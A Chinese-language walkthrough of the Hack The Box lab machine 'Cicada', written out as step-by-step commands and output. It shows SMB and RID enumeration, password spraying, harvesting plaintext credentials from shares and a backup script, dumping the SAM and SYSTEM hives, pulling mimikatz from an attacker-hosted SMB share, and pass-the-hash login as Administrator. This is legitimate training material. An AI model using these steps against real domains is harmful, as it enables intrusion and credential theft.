HTB:Cicada[RE-WriteUP]

目录

连接至HTB服务器并启动靶机

信息收集

使用rustscan对靶机TCP端口进行开放扫描

将靶机TCP开放端口号提取并保存

使用nmap对靶机TCP开放端口进行脚本、服务扫描

使用nmap对靶机TCP开放端口进行漏洞、系统扫描

使用nmap对靶机常用UDP端口进行开放扫描

使用nmap对靶机UDP开放端口进行脚本、服务扫描

使用smbmap枚举靶机SMB共享

继续使用smbmap递归枚举HR共享

边界突破

使用netexec通过爆破靶机RID以枚举域内用户

使用netexec通过上述名单以及默认密码进行密码喷洒

使用netexec通过上述凭证枚举靶机AD域内用户信息

使用smbmap通过上述凭证再次枚举靶机SMB服务共享

使用evil-winrm通过上述凭证登录靶机Win-RM服务

权限提升

查看当前用户账户信息

将系统中的SAM、SYSTEM文件备份到当前目录

在攻击机本地开启一个SMB服务器以便传输文件

控制靶机将攻击机中的mimikatz上传至靶机

使用mimikatz通过SAM、SYSTEM文件解析出密码哈希

使用evil-winrm通过上述凭证登录靶机Win-RM服务


连接至HTB服务器并启动靶机

分配IP:10.10.16.22

靶机IP:10.10.11.35

靶机Domain:cicada.htb


信息收集

使用rustscan对靶机TCP端口进行开放扫描

bash 复制代码
rustscan -a 10.10.11.35 -r 1-65535 --ulimit 5000 | tee res
将靶机TCP开放端口号提取并保存
bash 复制代码
ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)

┌──(root㉿kali)-[/home/kali/Desktop/temp]

└─# grep ^[0-9] res | cut -d/ -f1 | paste -sd,

53,88,135,139,389,445,464,593,636,3268,3269,5985,64644

┌──(root㉿kali)-[/home/kali/Desktop/temp]

└─# ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)

┌──(root㉿kali)-[/home/kali/Desktop/temp]

└─# echo $ports

53,88,135,139,389,445,464,593,636,3268,3269,5985,64644

使用nmap对靶机TCP开放端口进行脚本、服务扫描

bash 复制代码
nmap -sT -p$ports -sCV -Pn 10.10.11.35
  • 需要重点关注的服务和信息

AD域名:cicada.htb

53端口:Domain服务

88端口:Kerberos服务

389端口:LDAP服务

445端口:SMB服务

5985端口:Win-RM服务

使用nmap对靶机TCP开放端口进行漏洞、系统扫描
bash 复制代码
nmap -sT -p$ports --script=vuln -O -Pn 10.10.11.35

使用nmap对靶机常用UDP端口进行开放扫描

bash 复制代码
nmap -sU --top-ports 20 -Pn 10.10.11.35
使用nmap对靶机UDP开放端口进行脚本、服务扫描
bash 复制代码
nmap -sU -p53,123 -sCV -Pn 10.10.11.35

使用smbmap枚举靶机SMB共享

bash 复制代码
smbmap -u guest -H cicada.htb
继续使用smbmap递归枚举HR共享
bash 复制代码
smbmap -u guest -H cicada.htb -r HR --depth 5
  • 将HR共享中的Notice from HR.txt文件下载到攻击机本地
bash 复制代码
smbmap -u guest -H cicada.htb -r HR --depth 5 --download './HR/Notice from HR.txt'
  • 查看该文件内容
bash 复制代码
cat '10.10.11.35-HR_Notice from HR.txt'
  • 由该文本可知,新雇员默认密码为:Cicada$M6Corpb*@Lp#nZp!8

边界突破

使用netexec通过爆破靶机RID以枚举域内用户

bash 复制代码
netexec smb cicada.htb -u guest -p '' --rid-brute
  • 通过切割字符串使其只输出用户名部分
bash 复制代码
netexec smb cicada.htb -u guest -p '' --rid-brute | grep SidTypeUser | cut -d'\' -f2 | awk '{print $1}'

┌──(root㉿kali)-[/home/kali/Desktop/temp]

└─# netexec smb cicada.htb -u guest -p '' --rid-brute | grep SidTypeUser | cut -d'\' -f2 | awk '{print $1}'

Administrator

Guest

krbtgt

CICADA-DC$

john.smoulder

sarah.dantelia

michael.wrightson

david.orelious

emily.oscars

  • 将用户名存入名单文件中以便利用

┌──(root㉿kali)-[/home/kali/Desktop/temp]

└─# cat << EOF > names.txt

heredoc> Administrator

Guest

krbtgt

CICADA-DC$

john.smoulder

sarah.dantelia

michael.wrightson

david.orelious

emily.oscars

heredoc> EOF

使用netexec通过上述名单以及默认密码进行密码喷洒
bash 复制代码
netexec smb cicada.htb -u ./names.txt -p 'Cicada$M6Corpb*@Lp#nZp!8' --continue-on-success

账户:michael.wrightson

密码:Cicada$M6Corpb*@Lp#nZp!8

使用netexec通过上述凭证枚举靶机AD域内用户信息

bash 复制代码
netexec smb cicada.htb -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --users

账户:david.orelious

密码:aRt$Lp#7t*VQ!3

使用smbmap通过上述凭证再次枚举靶机SMB服务共享

bash 复制代码
smbmap -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' -H cicada.htb
  • 继续使用smbmap枚举DEV共享内容
bash 复制代码
smbmap -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' -H cicada.htb -r DEV
  • 将DEV共享中的Backup_script.ps1文件下载到攻击机本地
bash 复制代码
smbmap -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' -H cicada.htb -r DEV --download './DEV/Backup_script.ps1'
  • 查看该文件内容
bash 复制代码
cat 10.10.11.35-DEV_Backup_script.ps1
bash 复制代码
$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"

$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
$dateStamp = Get-Date -Format "yyyyMMdd_HHmmss"
$backupFileName = "smb_backup_$dateStamp.zip"
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"
  • 审计文件内容可得一凭证

账户:emily.oscars

密码:Q!3@Lp#M6b*7t*Vt

使用evil-winrm通过上述凭证登录靶机Win-RM服务

bash 复制代码
evil-winrm -i cicada.htb -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
  • C:\Users\emily.oscars.CICADA\Desktop目录下找到user.txt文件

权限提升

查看当前用户账户信息

bash 复制代码
net user emily.oscars
  • 由输出可见,当前账户属于`文件备份操作者(Backup Operators)`组,这意味着当前用户可以直接备份系统中的任何文件

将系统中的SAM、SYSTEM文件备份到当前目录

bash 复制代码
reg save HKLM\SAM .\SAM
bash 复制代码
reg save HKLM\SYSTEM .\SYSTEM

在攻击机本地开启一个SMB服务器以便传输文件

bash 复制代码
impacket-smbserver temp . -smb2support
  • 控制靶机连接至攻击机SMB服务器
bash 复制代码
net use Z: \\10.10.16.22\temp
控制靶机将攻击机中的mimikatz上传至靶机
bash 复制代码
copy \\10.10.16.22\temp\mimikatz64.exe .

使用mimikatz通过SAM、SYSTEM文件解析出密码哈希

bash 复制代码
.\mimikatz64.exe "lsadump::sam /sam:sam /system:system" exit

账户:Administrator

密码哈希:2b87e7c93a3e8a0ea4a581937016f341

使用evil-winrm通过上述凭证登录靶机Win-RM服务

bash 复制代码
evil-winrm -i cicada.htb -u 'Administrator' -H '2b87e7c93a3e8a0ea4a581937016f341'
  • C:\Users\Administrator\Desktop目录下找到root.txt文件。祝各位2025新年快乐!:=)
相关推荐
游戏开发爱好者86 小时前
iOS重构期调试实战:架构升级中的性能与数据保障策略
websocket·网络协议·tcp/ip·http·网络安全·https·udp
安全系统学习9 小时前
系统安全之大模型案例分析
前端·安全·web安全·网络安全·xss
A5rZ13 小时前
Puppeteer 相关漏洞-- Google 2025 Sourceless
网络安全
Bruce_Liuxiaowei16 小时前
常见高危端口风险分析与防护指南
网络·网络安全·端口·信息搜集
2501_9160137416 小时前
iOS 多线程导致接口乱序?抓包还原 + 请求调度优化实战
websocket·网络协议·tcp/ip·http·网络安全·https·udp
头发那是一根不剩了18 小时前
双因子认证(2FA)是什么?从零设计一个安全的双因子登录接口
网络安全·系统设计·身份认证
浩浩测试一下19 小时前
渗透信息收集- Web应用漏洞与指纹信息收集以及情报收集
android·前端·安全·web安全·网络安全·安全架构
Gappsong87421 小时前
【Linux学习】Linux安装并配置Redis
java·linux·运维·网络安全
Johny_Zhao1 天前
Docker 一键安装部署 JumpServer 堡垒机
linux·网络安全·信息安全·云计算·shell·jumpserver·ldap·yum源·系统运维
unable code1 天前
攻防世界-Rerverse-game
网络安全·ctf·reverse